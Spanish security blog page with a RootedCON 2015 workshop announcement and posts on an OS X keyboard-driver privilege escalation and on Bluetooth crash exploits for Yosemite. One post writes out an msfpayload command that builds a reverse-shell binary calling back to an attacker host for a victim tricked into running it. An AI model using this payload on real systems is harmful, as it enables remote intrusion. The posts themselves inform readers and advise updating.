
Las charlas de nuestros compañeros de Eleven Paths son las siguientes:
  • Chema Alonso impartirá la ponencia Can I play with madness.
  • Alfonso Muñoz y Antonio Guzmán hablarán sobre stegomalware en su charla Finding Stegomalware in an ocean of apps.
  • David Barroso hablará de Hacking BIOS: desde el mito a la realidad.
Ahora comentaros los talleres a los que podéis apuntaros en esta ocasión. El lunes 2 de Marzo se impartirá el taller de Vigilando Internet: Procesando información OSINT en tiempo real. Compañeros nuestros, Fran y Charly, creadores de Sinfonier, tratarán temas como la vigilancia digital de una empresa en Internet. En el taller se aprenderá a procesar grandes cantidades de infommación procedentes de diversas fuentes de información, a cruzar esa información y dotar de inteligencia al proceso. Este mismo día se impartirá el taller de David Echeverri sobre como utilizar Python para llevar a cabo un pentesting. En el curso se entregará como material el libro de Python para pentesters.

El martes 3 de Marzo, nuestro compañero Pablo González, autor de los libros Ethical Hacking y Metasploit para pentesters, impartirá el taller denominado Metasploit Lab: Pentesting. El taller realiza una visión global del framework, con muchas pruebas de concepto de las que llaman la atención, utilizando diversas herramientas y llegando al propio desarrollo de módulos y soluciones con Metasploit. Este mismo día se imparte el taller de Sergio y Ricardo J. Rodriguez. Este taller denominado (In)Seguridad NFC/RFID en el cual se tratan tecnologías NFC/RFID, utilizadas por la propia Apple, incluidas por ejemplo en el DNI 3.0

Figura 1: Shellsock customizado en Metasploit

El miércoles 4 de Marzo se imparten 3 talleres. El primero de ellos es ya todo un clásico como es el impartido por Alejandro Ramos. El taller denominado Test de intrusión interno permitirá al asistente aprender a realizar auditorías en el ámbito de las redes y de los sistemas internos de una organización.

Uno de los talleres más llamativos es, sin duda, el de Contrucción de una antena WiFi direccional robotizada, controlable y autoorientable. El alumno saldrá del taller con su antena preparada para auditar a larga distancia. El lab es impartido por David y José, la gente de Layakk, los cuales son autores del libro Hacking de comunicaciones móviles. Por último, Raúl Siles hablará sobre de las técnicas de ataque sobre clientes WiFi.

En definitiva, si quieres pasar una semana escuchando a grandes ponentes y aprendiendo en estos interesantes talleres, no dudes en apuntarte a la nueva edición de RootedCON.

lunes, 19 de enero de 2015

Vulnerabilidades en Mac OS X: IOKit Keyboard Driver

Hoy en Seguridad Apple hablamos de una vulnerabilidad que se publicó en Diciembre de 2014 y que permitía al atacante escalar privilegios en el sistema. La vulnerabilidad se aprovecha de un fallo en el driver del teclado, y a día de hoy existe un módulo implementado en Metasploit.Ya hemos visto en otras ocasiones formas en las que un atacante puede apoderarse de nuestro Mac, por ejemplo mediante la ejecución de un binario el cual devolvía una sesión remota.

Por ejemplo, podemos llevar a cabo esta acción con la herramienta msfpayload, mediante la ejecución de msfpayload osx/x86/shell_reverse_tcp LHOST=[dirección IP atacante] LPORT=[puerto atacante] X y redireccionamos a un fichero. Una vez que un usuario ejecute dicho binario, ya sea de alguna manera mediante las artes de la ingeniería social, obtendremos una shell en nuestro Mac. ¿Qué usuario somos? Realmente seremos el mismo usuario con el que estemos conectados.

Figura 1: msfpayload generando un binario en OS X

Según se puede ver en la inicialización del módulo, dónde podemos ver información sobre a qué sistemas afecta el exploit, podemos leer versión 10.9.5 y, en teoría, versiones previas de OS X. Como puede leerse en la imagen, la vulnerabilidad permitiendo realizar un bypass y escalar privilegio dentro del sistema.

Figura 2: Descripción de la vulnerabilidad

La función check y exploit del módulo permiten verificar la existencia de una vulnerabilidad y la posibilidad de explotarla. Generalmente, la función check utiliza las versiones de los productos para verificar si el software es vulnerable o no, aunque en algunas ocasiones podemos encontrar que se realiza alguna acción ofensiva para chequear la vulnerabilidad.

Figura 3: Check y Exploit

La recomendación es actualizar el sistema operativo, ya que estar por debajo de la versión 10.10 de OS X pone en peligro al equipo. Es cierto que en comparación con otros sistemas operativos del mercado, no hay un número de vulnerabilidades tan grandes como otros con mayor cuota de mercado, pero estos exploits que van apareciendo son ejemplos de fallos de seguridad que van apareciendo cada día en el mundo de la manzana.

sábado, 17 de enero de 2015

4 exploits para crashear Bluetooth en OS X Yosemite

Cada día que pasa la cuota de mercado de OSX es mayor, y esto se nota en el interés por explorar su software y la seguridad de éste. Hoy traemos una noticia en la que los investigadores de seguridad  @rpaleari y @joystick han publicado 4 formas de provocar un crash y provocar la caída del sistema operativo OS X Yosemite 10.10 mediante ataques al módulo Bluetooth del mismo en local, que se utiliza para conectarse a dispositivos o para compartir Internet con los terminales iOS.

A continuación enumeramos los 4 exploits publicados que provocan los crash del sistema:

Figura 1: Exploits disponibles en Exploit-DB

Los exploits pueden descargarse desde el sitio web Exploit-DB, en el cual podemos encontrar diversos exploits para OS X. El código en el que está escrito los lenguajes es C, y como puede verse en un comentario al comienzo del código, se indica a qué afecta y cómo debe ser compilado. 

Figura 2: Código del exploit DispatchHCICreateConnection

Visto esto, algo queda claro y es que OS X cada vez está siendo más explorado y se encuentran más vulnerabilidades. Sin embargo, estos fallos son de explotación local y provocan la caída del sistema, pero en Seguridad Apple hemos visto otras vulnerabilidades que permiten la escalada de privilegios o la toma de control del sistema de manera remota. Os dejamos el listado de módulos de Metasploit que hace poco recopilamos para los sistemas OS X y que podáis cacharrear con los exploits y el mundo OS X.

Entrada destacada

Proteger tu cuenta de Google y de Gmail con Latch Cloud TOTP #Latch #Gmail #Google

La semana pasada se liberó la nueva versión de Latch y nuestro compañero Chema Alonso hizo un repaso de todo ello en su artículo Latch...

Otras historias relacionadas

Entradas populares